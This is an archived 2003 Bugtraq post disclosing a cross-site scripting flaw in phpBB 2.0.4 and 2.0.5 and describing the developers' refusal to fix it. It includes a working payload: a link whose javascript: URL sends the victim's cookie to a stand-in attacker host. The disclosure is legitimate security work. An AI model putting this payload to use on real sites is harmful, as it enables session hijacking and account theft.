110067 2003-08-19  02:46  /50 rader/ Marvin Massih <GroennDemon@web.de>
Importerad: 2003-08-19  02:46  av Brevbäraren
Extern mottagare: bugtraq <bugtraq@securityfocus.com>
Mottagare: Bugtraq (import) <6134>
Ärende: XSS vulnerability in phpBB
------------------------------------------------------------
Hi,

I have found a dangerous vunlerability in phpBB.  I've verified that
versions 2.0.5 and 2.0.4 (AFAIK the two latest versions) are
affected, but probably more versions are vulnerable.

If HTML is enabled for postings, a user can post a link like this:

<a 
href="javascript:document.location.replace('http://www.evil-server.com/cgi-bin/evil.cgi?stolen_cookie=' 
+ document.cookie);">Click me, I'm innocent</a>

If a user clicks it, his cookie will be sent to the attacker, which he 
can use to log on as the user if autologon is enabled.

I reported this vulnerability to the phpBB developers (which wasn't 
that  easy as they had trouble with their mail server), that was about 
three weeks ago.

However, the developers don't want to fix it:

"The main developer decided that this isn't a security issue, because
it  is not able to re-parse every single allowed html tag. The bbcode
tag  [url] is absolutely suitable for displaying urls, therefore
allowing the  a html tag is a risk the Administrator has to take."

Again, I asked them to fix it, I couldn't believe they were serious.
This time I told them they should do something soon - or at least tell 
me that they're working on it - , otherwise I'd finally publish the 
information.

The response was:

"Actually, after second thoughts I don't see this issue as a security
flaw on our side, enabling unchecked HTML is taking the same risk as
allowing users to use <script> tags. I'm in favor of putting a notice
warning the admin of the potential security risk when enabling given
tags but trying to fix that on our side will cause more problems that
it  will solve."

So, I'm publishing this information now, hoping that this will help.

AFAIK a new version, 2.0.6 is out now, but as they refused fixing this 
issue I don't know if there is any difference.

Regards,

Marvin
(110067) /Marvin Massih <GroennDemon@web.de>/(Ombruten)